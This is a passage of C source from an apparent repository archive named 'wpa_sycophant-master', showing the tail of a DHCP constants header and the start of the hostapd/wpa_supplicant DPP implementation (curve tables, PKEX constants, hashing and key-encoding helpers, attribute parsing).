= 60, DHCP_OPT_CLIENT_ID = 61, DHCP_OPT_NETWARE_IP_DOMAIN = 62, DHCP_OPT_NETWARE_IP_OPTION = 63, DHCP_OPT_NIS_V3_DOMAIN = 64, DHCP_OPT_NIS_V3_SERVERS = 65, DHCP_OPT_TFTP_SERVER_NAME = 66, DHCP_OPT_BOOT_FILE_NAME = 67, DHCP_OPT_HOME_AGENT_ADDRESSES = 68, DHCP_OPT_SMTP_SERVER = 69, DHCP_OPT_POP3_SERVER = 70, DHCP_OPT_NNTP_SERVER = 71, DHCP_OPT_WWW_SERVER = 72, DHCP_OPT_FINGER_SERVER = 73, DHCP_OPT_IRC_SERVER = 74, DHCP_OPT_STREETTALK_SERVER = 75, DHCP_OPT_STDA_SERVER = 76, DHCP_OPT_USER_CLASS = 77, DHCP_OPT_DIRECTORY_AGENT = 78, DHCP_OPT_SERVICE_SCOPE = 79, DHCP_OPT_RAPID_COMMIT = 80, DHCP_OPT_CLIENT_FQDN = 81, DHCP_OPT_RELAY_AGENT_INFO = 82, DHCP_OPT_ISNS = 83, DHCP_OPT_NDS_SERVERS = 85, DHCP_OPT_NDS_TREE_NAME = 86, DHCP_OPT_NDS_CONTEXT = 87, DHCP_OPT_BCMCS_CONTROLLER_DOMAIN_NAME_LIST = 88, DHCP_OPT_BCMCS_CONTROLLER_IPV4_ADDRESS = 89, DHCP_OPT_AUTHENTICATION = 90, DHCP_OPT_CLIENT_LAST_TRANSACTION_TIME = 91, DHCP_OPT_ASSOCIATED_IP = 92, DHCP_OPT_CLIENT_SYSYEM = 93, DHCP_OPT_CLIENT_NDI = 94, DHCP_OPT_LDAP = 95, DHCP_OPT_UUID_GUID = 97, DHCP_OPT_USER_AUTH = 98, DHCP_OPT_GEOCONF_CIVIC = 99, DHCP_OPT_PCODE = 100, DHCP_OPT_TCODE = 101, DHCP_OPT_NETINFO_ADDRESS = 112, DHCP_OPT_NETINFO_TAG = 113, DHCP_OPT_URL = 114, DHCP_OPT_AUTO_CONFIG = 116, DHCP_OPT_NAME_SERVICE_SEARCH = 117, DHCP_OPT_SUBNET_SELECTION = 118, DHCP_OPT_DOMAIN_SEARCH = 119, DHCP_OPT_SIP_SERVERS_DCP = 120, DHCP_OPT_CLASSLESS_STATIC_ROUTE = 121, DHCP_OPT_CCC = 122, DHCP_OPT_GEOCONF = 123, DHCP_OPT_V_I_VENDOR_CLASS = 124, DHCP_OPT_V_I_VENDOR_SPECIFIC_INFO = 125, DHCP_OPT_PANA_AGENT = 136, DHCP_OPT_V4_LOST = 137, DHCP_OPT_CAPWAP_AC_V4 = 138, DHCP_OPT_IPV4_ADDRESS_MOS = 139, DHCP_OPT_IPV4_FQDN_MOS = 140, DHCP_OPT_SIP_UA_CONF = 141, DHCP_OPT_IPV4_ADDRESS_ANDSF = 142, DHCP_OPT_GEOLOC = 144, DHCP_OPT_FORCERENEW_NONCE_CAPABLE = 145, DHCP_OPT_RDNSS_SELECTION = 146, DHCP_OPT_TFTP_SERVER_ADDRESS = 150, DHCP_OPT_STATUS_CODE = 151, DHCP_OPT_BASE_TIME = 152, DHCP_OPT_START_TIME_OF_STATE = 153, DHCP_OPT_QUERY_START_TIME = 154, DHCP_OPT_QUERY_END_TIME = 155, DHCP_OPT_STATE = 156, DHCP_OPT_DATA_SOURCE = 157, DHCP_OPT_V4_PCP_SERVER = 158, DHCP_OPT_V4_PORTPARAMS = 159, DHCP_OPT_CAPTIVE_PORTAL = 160, DHCP_OPT_CONF_FILE = 209, DHCP_OPT_PATH_PREFIX = 210, DHCP_OPT_REBOOT_TIME = 211, DHCP_OPT_6RD = 212, DHCP_OPT_V4_ACCESS_DOMAIN = 213, DHCP_OPT_SUBNET_ALLOCATION = 220, DHCP_OPT_VSS = 221, DHCP_OPT_END = 255 }; enum dhcp_message_types { DHCPDISCOVER = 1, DHCPOFFER = 2, DHCPREQUEST = 3, DHCPDECLINE = 4, DHCPACK = 5, DHCPNAK = 6, DHCPRELEASE = 7, DHCPINFORM = 8, DHCPFORCERENEW = 9, DHCPLEASEQUERY = 10, DHCPLEASEUNASSIGNED = 11, DHCPLEASEUNKNOWN = 12, DHCPLEASEACTIVE = 13, DHCPBULKLEASEQUERY = 14, DHCPLEASEQUERYDONE = 15, DHCPACTIVELEASEQUERY = 16, DHCPLEASEQUERYSTATUS = 17, DHCPTLS = 18, }; enum dhcp_relay_agent_suboptions { DHCP_RELAY_OPT_AGENT_CIRCUIT_ID = 1, DHCP_RELAY_OPT_AGENT_REMOTE_ID = 2, DHCP_RELAY_OPT_DOCSIS_DEVICE_CLASS = 4, DHCP_RELAY_OPT_LINK_SELECTION = 5, DHCP_RELAY_OPT_SUBSCRIBE_ID = 6, DHCP_RELAY_OPT_RADIUS_ATTRIBUTES = 7, DHCP_RELAY_OPT_AUTHENTICATION = 8, DHCP_RELAY_OPT_VEDOR_SPECIFIC = 9, DHCP_RELAY_OPT_RELAY_AGENT_FLAGS = 10, DHCP_RELAY_OPT_SERVER_ID_OVERRIDE = 11, DHCP_RELAY_OPT_RELAY_AGENT_ID = 12, DHCP_RELAY_OPT_ACCESS_TECHNOLOGY_TYPE = 13, DHCP_RELAY_OPT_ACCESS_NETWORK_NAME = 14, DHCP_RELAY_OPT_ACCESS_POINT_NAME = 15, DHCP_RELAY_OPT_ACCESS_POINT_BSSID = 16, DHCP_RELAY_OPT_OPERATOR_ID = 17, DHCP_RELAY_OPT_OPERATOR_REALM = 18, DHCP_RELAY_OPT_DHCPV4_VIRTUAL_SUBNET_SELECTION = 151, DHCP_RELAY_OPT_DHCPV4_VIRTUAL_SUBNET_SELECTION_CONTROL = 152, }; enum access_technology_types { ACCESS_TECHNOLOGY_VIRTUAL = 1, ACCESS_TECHNOLOGY_PPP = 2, ACCESS_TECHNOLOGY_ETHERNET = 3, ACCESS_TECHNOLOGY_WLAN = 4, ACCESS_TECHNOLOGY_WIMAX = 5, }; #endif /* DHCP_H */ wpa_sycophant-master/src/common/dpp.c000066400000000000000000006365011377436615100202640ustar00rootroot00000000000000/* * DPP functionality shared between hostapd and wpa_supplicant * Copyright (c) 2017, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include #include #include #include #include "utils/common.h" #include "utils/base64.h" #include "utils/json.h" #include "common/ieee802_11_common.h" #include "common/ieee802_11_defs.h" #include "common/wpa_ctrl.h" #include "crypto/crypto.h" #include "crypto/random.h" #include "crypto/aes.h" #include "crypto/aes_siv.h" #include "crypto/sha384.h" #include "crypto/sha512.h" #include "drivers/driver.h" #include "dpp.h" #ifdef CONFIG_TESTING_OPTIONS enum dpp_test_behavior dpp_test = DPP_TEST_DISABLED; u8 dpp_pkex_own_mac_override[ETH_ALEN] = { 0, 0, 0, 0, 0, 0 }; u8 dpp_pkex_peer_mac_override[ETH_ALEN] = { 0, 0, 0, 0, 0, 0 }; u8 dpp_pkex_ephemeral_key_override[600]; size_t dpp_pkex_ephemeral_key_override_len = 0; u8 dpp_protocol_key_override[600]; size_t dpp_protocol_key_override_len = 0; u8 dpp_nonce_override[DPP_MAX_NONCE_LEN]; size_t dpp_nonce_override_len = 0; static int dpp_test_gen_invalid_key(struct wpabuf *msg, const struct dpp_curve_params *curve); #endif /* CONFIG_TESTING_OPTIONS */ #if OPENSSL_VERSION_NUMBER < 0x10100000L || \ (defined(LIBRESSL_VERSION_NUMBER) && \ LIBRESSL_VERSION_NUMBER < 0x20700000L) /* Compatibility wrappers for older versions. */ static int ECDSA_SIG_set0(ECDSA_SIG *sig, BIGNUM *r, BIGNUM *s) { sig->r = r; sig->s = s; return 1; } static void ECDSA_SIG_get0(const ECDSA_SIG *sig, const BIGNUM **pr, const BIGNUM **ps) { if (pr) *pr = sig->r; if (ps) *ps = sig->s; } #endif static const struct dpp_curve_params dpp_curves[] = { /* The mandatory to support and the default NIST P-256 curve needs to * be the first entry on this list. */ { "prime256v1", 32, 32, 16, 32, "P-256", 19, "ES256" }, { "secp384r1", 48, 48, 24, 48, "P-384", 20, "ES384" }, { "secp521r1", 64, 64, 32, 66, "P-521", 21, "ES512" }, { "brainpoolP256r1", 32, 32, 16, 32, "BP-256", 28, "BS256" }, { "brainpoolP384r1", 48, 48, 24, 48, "BP-384", 29, "BS384" }, { "brainpoolP512r1", 64, 64, 32, 64, "BP-512", 30, "BS512" }, { NULL, 0, 0, 0, 0, NULL, 0, NULL } }; /* Role-specific elements for PKEX */ /* NIST P-256 */ static const u8 pkex_init_x_p256[32] = { 0x56, 0x26, 0x12, 0xcf, 0x36, 0x48, 0xfe, 0x0b, 0x07, 0x04, 0xbb, 0x12, 0x22, 0x50, 0xb2, 0x54, 0xb1, 0x94, 0x64, 0x7e, 0x54, 0xce, 0x08, 0x07, 0x2e, 0xec, 0xca, 0x74, 0x5b, 0x61, 0x2d, 0x25 }; static const u8 pkex_init_y_p256[32] = { 0x3e, 0x44, 0xc7, 0xc9, 0x8c, 0x1c, 0xa1, 0x0b, 0x20, 0x09, 0x93, 0xb2, 0xfd, 0xe5, 0x69, 0xdc, 0x75, 0xbc, 0xad, 0x33, 0xc1, 0xe7, 0xc6, 0x45, 0x4d, 0x10, 0x1e, 0x6a, 0x3d, 0x84, 0x3c, 0xa4 }; static const u8 pkex_resp_x_p256[32] = { 0x1e, 0xa4, 0x8a, 0xb1, 0xa4, 0xe8, 0x42, 0x39, 0xad, 0x73, 0x07, 0xf2, 0x34, 0xdf, 0x57, 0x4f, 0xc0, 0x9d, 0x54, 0xbe, 0x36, 0x1b, 0x31, 0x0f, 0x59, 0x91, 0x52, 0x33, 0xac, 0x19, 0x9d, 0x76 }; static const u8 pkex_resp_y_p256[32] = { 0xd9, 0xfb, 0xf6, 0xb9, 0xf5, 0xfa, 0xdf, 0x19, 0x58, 0xd8, 0x3e, 0xc9, 0x89, 0x7a, 0x35, 0xc1, 0xbd, 0xe9, 0x0b, 0x77, 0x7a, 0xcb, 0x91, 0x2a, 0xe8, 0x21, 0x3f, 0x47, 0x52, 0x02, 0x4d, 0x67 }; /* NIST P-384 */ static const u8 pkex_init_x_p384[48] = { 0x95, 0x3f, 0x42, 0x9e, 0x50, 0x7f, 0xf9, 0xaa, 0xac, 0x1a, 0xf2, 0x85, 0x2e, 0x64, 0x91, 0x68, 0x64, 0xc4, 0x3c, 0xb7, 0x5c, 0xf8, 0xc9, 0x53, 0x6e, 0x58, 0x4c, 0x7f, 0xc4, 0x64, 0x61, 0xac, 0x51, 0x8a, 0x6f, 0xfe, 0xab, 0x74, 0xe6, 0x12, 0x81, 0xac, 0x38, 0x5d, 0x41, 0xe6, 0xb9, 0xa3 }; static const u8 pkex_init_y_p384[48] = { 0x76, 0x2f, 0x68, 0x84, 0xa6, 0xb0, 0x59, 0x29, 0x83, 0xa2, 0x6c, 0xa4, 0x6c, 0x3b, 0xf8, 0x56, 0x76, 0x11, 0x2a, 0x32, 0x90, 0xbd, 0x07, 0xc7, 0x37, 0x39, 0x9d, 0xdb, 0x96, 0xf3, 0x2b, 0xb6, 0x27, 0xbb, 0x29, 0x3c, 0x17, 0x33, 0x9d, 0x94, 0xc3, 0xda, 0xac, 0x46, 0xb0, 0x8e, 0x07, 0x18 }; static const u8 pkex_resp_x_p384[48] = { 0xad, 0xbe, 0xd7, 0x1d, 0x3a, 0x71, 0x64, 0x98, 0x5f, 0xb4, 0xd6, 0x4b, 0x50, 0xd0, 0x84, 0x97, 0x4b, 0x7e, 0x57, 0x70, 0xd2, 0xd9, 0xf4, 0x92, 0x2a, 0x3f, 0xce, 0x99, 0xc5, 0x77, 0x33, 0x44, 0x14, 0x56, 0x92, 0xcb, 0xae, 0x46, 0x64, 0xdf, 0xe0, 0xbb, 0xd7, 0xb1, 0x29, 0x20, 0x72, 0xdf }; static const u8 pkex_resp_y_p384[48] = { 0xab, 0xa7, 0xdf, 0x52, 0xaa, 0xe2, 0x35, 0x0c, 0xe3, 0x75, 0x32, 0xe6, 0xbf, 0x06, 0xc8, 0x7c, 0x38, 0x29, 0x4c, 0xec, 0x82, 0xac, 0xd7, 0xa3, 0x09, 0xd2, 0x0e, 0x22, 0x5a, 0x74, 0x52, 0xa1, 0x7e, 0x54, 0x4e, 0xfe, 0xc6, 0x29, 0x33, 0x63, 0x15, 0xe1, 0x7b, 0xe3, 0x40, 0x1c, 0xca, 0x06 }; /* NIST P-521 */ static const u8 pkex_init_x_p521[66] = { 0x00, 0x16, 0x20, 0x45, 0x19, 0x50, 0x95, 0x23, 0x0d, 0x24, 0xbe, 0x00, 0x87, 0xdc, 0xfa, 0xf0, 0x58, 0x9a, 0x01, 0x60, 0x07, 0x7a, 0xca, 0x76, 0x01, 0xab, 0x2d, 0x5a, 0x46, 0xcd, 0x2c, 0xb5, 0x11, 0x9a, 0xff, 0xaa, 0x48, 0x04, 0x91, 0x38, 0xcf, 0x86, 0xfc, 0xa4, 0xa5, 0x0f, 0x47, 0x01, 0x80, 0x1b, 0x30, 0xa3, 0xae, 0xe8, 0x1c, 0x2e, 0xea, 0xcc, 0xf0, 0x03, 0x9f, 0x77, 0x4c, 0x8d, 0x97, 0x76 }; static const u8 pkex_init_y_p521[66] = { 0x00, 0xb3, 0x8e, 0x02, 0xe4, 0x2a, 0x63, 0x59, 0x12, 0xc6, 0x10, 0xba, 0x3a, 0xf9, 0x02, 0x99, 0x3f, 0x14, 0xf0, 0x40, 0xde, 0x5c, 0xc9, 0x8b, 0x02, 0x55, 0xfa, 0x91, 0xb1, 0xcc, 0x6a, 0xbd, 0xe5, 0x62, 0xc0, 0xc5, 0xe3, 0xa1, 0x57, 0x9f, 0x08, 0x1a, 0xa6, 0xe2, 0xf8, 0x55, 0x90, 0xbf, 0xf5, 0xa6, 0xc3, 0xd8, 0x52, 0x1f, 0xb7, 0x02, 0x2e, 0x7c, 0xc8, 0xb3, 0x20, 0x1e, 0x79, 0x8d, 0x03, 0xa8 }; static const u8 pkex_resp_x_p521[66] = { 0x00, 0x79, 0xe4, 0x4d, 0x6b, 0x5e, 0x12, 0x0a, 0x18, 0x2c, 0xb3, 0x05, 0x77, 0x0f, 0xc3, 0x44, 0x1a, 0xcd, 0x78, 0x46, 0x14, 0xee, 0x46, 0x3f, 0xab, 0xc9, 0x59, 0x7c, 0x85, 0xa0, 0xc2, 0xfb, 0x02, 0x32, 0x99, 0xde, 0x5d, 0xe1, 0x0d, 0x48, 0x2d, 0x71, 0x7d, 0x8d, 0x3f, 0x61, 0x67, 0x9e, 0x2b, 0x8b, 0x12, 0xde, 0x10, 0x21, 0x55, 0x0a, 0x5b, 0x2d, 0xe8, 0x05, 0x09, 0xf6, 0x20, 0x97, 0x84, 0xb4 }; static const u8 pkex_resp_y_p521[66] = { 0x00, 0x46, 0x63, 0x39, 0xbe, 0xcd, 0xa4, 0x2d, 0xca, 0x27, 0x74, 0xd4, 0x1b, 0x91, 0x33, 0x20, 0x83, 0xc7, 0x3b, 0xa4, 0x09, 0x8b, 0x8e, 0xa3, 0x88, 0xe9, 0x75, 0x7f, 0x56, 0x7b, 0x38, 0x84, 0x62, 0x02, 0x7c, 0x90, 0x51, 0x07, 0xdb, 0xe9, 0xd0, 0xde, 0xda, 0x9a, 0x5d, 0xe5, 0x94, 0xd2, 0xcf, 0x9d, 0x4c, 0x33, 0x91, 0xa6, 0xc3, 0x80, 0xa7, 0x6e, 0x7e, 0x8d, 0xf8, 0x73, 0x6e, 0x53, 0xce, 0xe1 }; /* Brainpool P-256r1 */ static const u8 pkex_init_x_bp_p256r1[32] = { 0x46, 0x98, 0x18, 0x6c, 0x27, 0xcd, 0x4b, 0x10, 0x7d, 0x55, 0xa3, 0xdd, 0x89, 0x1f, 0x9f, 0xca, 0xc7, 0x42, 0x5b, 0x8a, 0x23, 0xed, 0xf8, 0x75, 0xac, 0xc7, 0xe9, 0x8d, 0xc2, 0x6f, 0xec, 0xd8 }; static const u8 pkex_init_y_bp_p256r1[32] = { 0x93, 0xca, 0xef, 0xa9, 0x66, 0x3e, 0x87, 0xcd, 0x52, 0x6e, 0x54, 0x13, 0xef, 0x31, 0x67, 0x30, 0x15, 0x13, 0x9d, 0x6d, 0xc0, 0x95, 0x32, 0xbe, 0x4f, 0xab, 0x5d, 0xf7, 0xbf, 0x5e, 0xaa, 0x0b }; static const u8 pkex_resp_x_bp_p256r1[32] = { 0x90, 0x18, 0x84, 0xc9, 0xdc, 0xcc, 0xb5, 0x2f, 0x4a, 0x3f, 0x4f, 0x18, 0x0a, 0x22, 0x56, 0x6a, 0xa9, 0xef, 0xd4, 0xe6, 0xc3, 0x53, 0xc2, 0x1a, 0x23, 0x54, 0xdd, 0x08, 0x7e, 0x10, 0xd8, 0xe3 }; static const u8 pkex_resp_y_bp_p256r1[32] = { 0x2a, 0xfa, 0x98, 0x9b, 0xe3, 0xda, 0x30, 0xfd, 0x32, 0x28, 0xcb, 0x66, 0xfb, 0x40, 0x7f, 0xf2, 0xb2, 0x25, 0x80, 0x82, 0x44, 0x85, 0x13, 0x7e, 0x4b, 0xb5, 0x06, 0xc0, 0x03, 0x69, 0x23, 0x64 }; /* Brainpool P-384r1 */ static const u8 pkex_init_x_bp_p384r1[48] = { 0x0a, 0x2c, 0xeb, 0x49, 0x5e, 0xb7, 0x23, 0xbd, 0x20, 0x5b, 0xe0, 0x49, 0xdf, 0xcf, 0xcf, 0x19, 0x37, 0x36, 0xe1, 0x2f, 0x59, 0xdb, 0x07, 0x06, 0xb5, 0xeb, 0x2d, 0xae, 0xc2, 0xb2, 0x38, 0x62, 0xa6, 0x73, 0x09, 0xa0, 0x6c, 0x0a, 0xa2, 0x30, 0x99, 0xeb, 0xf7, 0x1e, 0x47, 0xb9, 0x5e, 0xbe }; static const u8 pkex_init_y_bp_p384r1[48] = { 0x54, 0x76, 0x61, 0x65, 0x75, 0x5a, 0x2f, 0x99, 0x39, 0x73, 0xca, 0x6c, 0xf9, 0xf7, 0x12, 0x86, 0x54, 0xd5, 0xd4, 0xad, 0x45, 0x7b, 0xbf, 0x32, 0xee, 0x62, 0x8b, 0x9f, 0x52, 0xe8, 0xa0, 0xc9, 0xb7, 0x9d, 0xd1, 0x09, 0xb4, 0x79, 0x1c, 0x3e, 0x1a, 0xbf, 0x21, 0x45, 0x66, 0x6b, 0x02, 0x52 }; static const u8 pkex_resp_x_bp_p384r1[48] = { 0x03, 0xa2, 0x57, 0xef, 0xe8, 0x51, 0x21, 0xa0, 0xc8, 0x9e, 0x21, 0x02, 0xb5, 0x9a, 0x36, 0x25, 0x74, 0x22, 0xd1, 0xf2, 0x1b, 0xa8, 0x9a, 0x9b, 0x97, 0xbc, 0x5a, 0xeb, 0x26, 0x15, 0x09, 0x71, 0x77, 0x59, 0xec, 0x8b, 0xb7, 0xe1, 0xe8, 0xce, 0x65, 0xb8, 0xaf, 0xf8, 0x80, 0xae, 0x74, 0x6c }; static const u8 pkex_resp_y_bp_p384r1[48] = { 0x2f, 0xd9, 0x6a, 0xc7, 0x3e, 0xec, 0x76, 0x65, 0x2d, 0x38, 0x7f, 0xec, 0x63, 0x26, 0x3f, 0x04, 0xd8, 0x4e, 0xff, 0xe1, 0x0a, 0x51, 0x74, 0x70, 0xe5, 0x46, 0x63, 0x7f, 0x5c, 0xc0, 0xd1, 0x7c, 0xfb, 0x2f, 0xea, 0xe2, 0xd8, 0x0f, 0x84, 0xcb, 0xe9, 0x39, 0x5c, 0x64, 0xfe, 0xcb, 0x2f, 0xf1 }; /* Brainpool P-512r1 */ static const u8 pkex_init_x_bp_p512r1[64] = { 0x4c, 0xe9, 0xb6, 0x1c, 0xe2, 0x00, 0x3c, 0x9c, 0xa9, 0xc8, 0x56, 0x52, 0xaf, 0x87, 0x3e, 0x51, 0x9c, 0xbb, 0x15, 0x31, 0x1e, 0xc1, 0x05, 0xfc, 0x7c, 0x77, 0xd7, 0x37, 0x61, 0x27, 0xd0, 0x95, 0x98, 0xee, 0x5d, 0xa4, 0x3d, 0x09, 0xdb, 0x3d, 0xfa, 0x89, 0x9e, 0x7f, 0xa6, 0xa6, 0x9c, 0xff, 0x83, 0x5c, 0x21, 0x6c, 0x3e, 0xf2, 0xfe, 0xdc, 0x63, 0xe4, 0xd1, 0x0e, 0x75, 0x45, 0x69, 0x0f }; static const u8 pkex_init_y_bp_p512r1[64] = { 0x50, 0xb5, 0x9b, 0xfa, 0x45, 0x67, 0x75, 0x94, 0x44, 0xe7, 0x68, 0xb0, 0xeb, 0x3e, 0xb3, 0xb8, 0xf9, 0x99, 0x05, 0xef, 0xae, 0x6c, 0xbc, 0xe3, 0xe1, 0xd2, 0x51, 0x54, 0xdf, 0x59, 0xd4, 0x45, 0x41, 0x3a, 0xa8, 0x0b, 0x76, 0x32, 0x44, 0x0e, 0x07, 0x60, 0x3a, 0x6e, 0xbe, 0xfe, 0xe0, 0x58, 0x52, 0xa0, 0xaa, 0x8b, 0xd8, 0x5b, 0xf2, 0x71, 0x11, 0x9a, 0x9e, 0x8f, 0x1a, 0xd1, 0xc9, 0x99 }; static const u8 pkex_resp_x_bp_p512r1[64] = { 0x2a, 0x60, 0x32, 0x27, 0xa1, 0xe6, 0x94, 0x72, 0x1c, 0x48, 0xbe, 0xc5, 0x77, 0x14, 0x30, 0x76, 0xe4, 0xbf, 0xf7, 0x7b, 0xc5, 0xfd, 0xdf, 0x19, 0x1e, 0x0f, 0xdf, 0x1c, 0x40, 0xfa, 0x34, 0x9e, 0x1f, 0x42, 0x24, 0xa3, 0x2c, 0xd5, 0xc7, 0xc9, 0x7b, 0x47, 0x78, 0x96, 0xf1, 0x37, 0x0e, 0x88, 0xcb, 0xa6, 0x52, 0x29, 0xd7, 0xa8, 0x38, 0x29, 0x8e, 0x6e, 0x23, 0x47, 0xd4, 0x4b, 0x70, 0x3e }; static const u8 pkex_resp_y_bp_p512r1[64] = { 0x80, 0x1f, 0x43, 0xd2, 0x17, 0x35, 0xec, 0x81, 0xd9, 0x4b, 0xdc, 0x81, 0x19, 0xd9, 0x5f, 0x68, 0x16, 0x84, 0xfe, 0x63, 0x4b, 0x8d, 0x5d, 0xaa, 0x88, 0x4a, 0x47, 0x48, 0xd4, 0xea, 0xab, 0x7d, 0x6a, 0xbf, 0xe1, 0x28, 0x99, 0x6a, 0x87, 0x1c, 0x30, 0xb4, 0x44, 0x2d, 0x75, 0xac, 0x35, 0x09, 0x73, 0x24, 0x3d, 0xb4, 0x43, 0xb1, 0xc1, 0x56, 0x56, 0xad, 0x30, 0x87, 0xf4, 0xc3, 0x00, 0xc7 }; static void dpp_debug_print_point(const char *title, const EC_GROUP *group, const EC_POINT *point) { BIGNUM *x, *y; BN_CTX *ctx; char *x_str = NULL, *y_str = NULL; if (!wpa_debug_show_keys) return; ctx = BN_CTX_new(); x = BN_new(); y = BN_new(); if (!ctx || !x || !y || EC_POINT_get_affine_coordinates_GFp(group, point, x, y, ctx) != 1) goto fail; x_str = BN_bn2hex(x); y_str = BN_bn2hex(y); if (!x_str || !y_str) goto fail; wpa_printf(MSG_DEBUG, "%s (%s,%s)", title, x_str, y_str); fail: OPENSSL_free(x_str); OPENSSL_free(y_str); BN_free(x); BN_free(y); BN_CTX_free(ctx); } static int dpp_hash_vector(const struct dpp_curve_params *curve, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { if (curve->hash_len == 32) return sha256_vector(num_elem, addr, len, mac); if (curve->hash_len == 48) return sha384_vector(num_elem, addr, len, mac); if (curve->hash_len == 64) return sha512_vector(num_elem, addr, len, mac); return -1; } static int dpp_hkdf_expand(size_t hash_len, const u8 *secret, size_t secret_len, const char *label, u8 *out, size_t outlen) { if (hash_len == 32) return hmac_sha256_kdf(secret, secret_len, NULL, (const u8 *) label, os_strlen(label), out, outlen); if (hash_len == 48) return hmac_sha384_kdf(secret, secret_len, NULL, (const u8 *) label, os_strlen(label), out, outlen); if (hash_len == 64) return hmac_sha512_kdf(secret, secret_len, NULL, (const u8 *) label, os_strlen(label), out, outlen); return -1; } static int dpp_hmac_vector(size_t hash_len, const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { if (hash_len == 32) return hmac_sha256_vector(key, key_len, num_elem, addr, len, mac); if (hash_len == 48) return hmac_sha384_vector(key, key_len, num_elem, addr, len, mac); if (hash_len == 64) return hmac_sha512_vector(key, key_len, num_elem, addr, len, mac); return -1; } static int dpp_hmac(size_t hash_len, const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac) { if (hash_len == 32) return hmac_sha256(key, key_len, data, data_len, mac); if (hash_len == 48) return hmac_sha384(key, key_len, data, data_len, mac); if (hash_len == 64) return hmac_sha512(key, key_len, data, data_len, mac); return -1; } static int dpp_bn2bin_pad(const BIGNUM *bn, u8 *pos, size_t len) { int num_bytes, offset; num_bytes = BN_num_bytes(bn); if ((size_t) num_bytes > len) return -1; offset = len - num_bytes; os_memset(pos, 0, offset); BN_bn2bin(bn, pos + offset); return 0; } static struct wpabuf * dpp_get_pubkey_point(EVP_PKEY *pkey, int prefix) { int len, res; EC_KEY *eckey; struct wpabuf *buf; unsigned char *pos; eckey = EVP_PKEY_get1_EC_KEY(pkey); if (!eckey) return NULL; EC_KEY_set_conv_form(eckey, POINT_CONVERSION_UNCOMPRESSED); len = i2o_ECPublicKey(eckey, NULL); if (len <= 0) { wpa_printf(MSG_ERROR, "DDP: Failed to determine public key encoding length"); EC_KEY_free(eckey); return NULL; } buf = wpabuf_alloc(len); if (!buf) { EC_KEY_free(eckey); return NULL; } pos = wpabuf_put(buf, len); res = i2o_ECPublicKey(eckey, &pos); EC_KEY_free(eckey); if (res != len) { wpa_printf(MSG_ERROR, "DDP: Failed to encode public key (res=%d/%d)", res, len); wpabuf_free(buf); return NULL; } if (!prefix) { /* Remove 0x04 prefix to match DPP definition */ pos = wpabuf_mhead(buf); os_memmove(pos, pos + 1, len - 1); buf->used--; } return buf; } static EVP_PKEY * dpp_set_pubkey_point_group(const EC_GROUP *group, const u8 *buf_x, const u8 *buf_y, size_t len) { EC_KEY *eckey = NULL; BN_CTX *ctx; EC_POINT *point = NULL; BIGNUM *x = NULL, *y = NULL; EVP_PKEY *pkey = NULL; ctx = BN_CTX_new(); if (!ctx) { wpa_printf(MSG_ERROR, "DPP: Out of memory"); return NULL; } point = EC_POINT_new(group); x = BN_bin2bn(buf_x, len, NULL); y = BN_bin2bn(buf_y, len, NULL); if (!point || !x || !y) { wpa_printf(MSG_ERROR, "DPP: Out of memory"); goto fail; } if (!EC_POINT_set_affine_coordinates_GFp(group, point, x, y, ctx)) { wpa_printf(MSG_ERROR, "DPP: OpenSSL: EC_POINT_set_affine_coordinates_GFp failed: %s", ERR_error_string(ERR_get_error(), NULL)); goto fail; } if (!EC_POINT_is_on_curve(group, point, ctx) || EC_POINT_is_at_infinity(group, point)) { wpa_printf(MSG_ERROR, "DPP: Invalid point"); goto fail; } dpp_debug_print_point("DPP: dpp_set_pubkey_point_group", group, point); eckey = EC_KEY_new(); if (!eckey || EC_KEY_set_group(eckey, group) != 1 || EC_KEY_set_public_key(eckey, point) != 1) { wpa_printf(MSG_ERROR, "DPP: Failed to set EC_KEY: %s", ERR_error_string(ERR_get_error(), NULL)); goto fail; } EC_KEY_set_asn1_flag(eckey, OPENSSL_EC_NAMED_CURVE); pkey = EVP_PKEY_new(); if (!pkey || EVP_PKEY_set1_EC_KEY(pkey, eckey) != 1) { wpa_printf(MSG_ERROR, "DPP: Could not create EVP_PKEY"); goto fail; } out: BN_free(x); BN_free(y); EC_KEY_free(eckey); EC_POINT_free(point); BN_CTX_free(ctx); return pkey; fail: EVP_PKEY_free(pkey); pkey = NULL; goto out; } static EVP_PKEY * dpp_set_pubkey_point(EVP_PKEY *group_key, const u8 *buf, size_t len) { EC_KEY *eckey; const EC_GROUP *group; EVP_PKEY *pkey = NULL; if (len & 1) return NULL; eckey = EVP_PKEY_get1_EC_KEY(group_key); if (!eckey) { wpa_printf(MSG_ERROR, "DPP: Could not get EC_KEY from group_key"); return NULL; } group = EC_KEY_get0_group(eckey); if (group) pkey = dpp_set_pubkey_point_group(group, buf, buf + len / 2, len / 2); else wpa_printf(MSG_ERROR, "DPP: Could not get EC group"); EC_KEY_free(eckey); return pkey; } static void dpp_auth_fail(struct dpp_authentication *auth, const char *txt) { wpa_msg(auth->msg_ctx, MSG_INFO, DPP_EVENT_FAIL "%s", txt); } struct wpabuf * dpp_alloc_msg(enum dpp_public_action_frame_type type, size_t len) { struct wpabuf *msg; msg = wpabuf_alloc(8 + len); if (!msg) return NULL; wpabuf_put_u8(msg, WLAN_ACTION_PUBLIC); wpabuf_put_u8(msg, WLAN_PA_VENDOR_SPECIFIC); wpabuf_put_be24(msg, OUI_WFA); wpabuf_put_u8(msg, DPP_OUI_TYPE); wpabuf_put_u8(msg, 1); /* Crypto Suite */ wpabuf_put_u8(msg, type); return msg; } const u8 * dpp_get_attr(const u8 *buf, size_t len, u16 req_id, u16 *ret_len) { u16 id, alen; const u8 *pos = buf, *end = buf + len; while (end - pos >= 4) { id = WPA_GET_LE16(pos); pos += 2; alen = WPA_GET_LE16(pos); pos += 2; if (alen > end - pos) return NULL; if (id == req_id) { *ret_len = alen; return pos; } pos += alen; } return NULL; } int dpp_check_attrs(const u8 *buf, size_t len) { const u8 *pos, *end; int wrapped_data = 0; pos = buf; end = buf + len; while (end - pos >= 4) { u16 id, alen; id = WPA_GET_LE16(pos); pos += 2; alen = WPA_GET_LE16(pos); pos += 2; wpa_printf(MSG_MSGDUMP, "DPP: Attribute ID %04x len %u", id, alen); if (alen > end - pos) { wpa_printf(MSG_DEBUG, "DPP: Truncated message - not enough room for the attribute - dropped"); return -1; } if (wrapped_data) { wpa_printf(MSG_DEBUG, "DPP: An unexpected attribute included after the 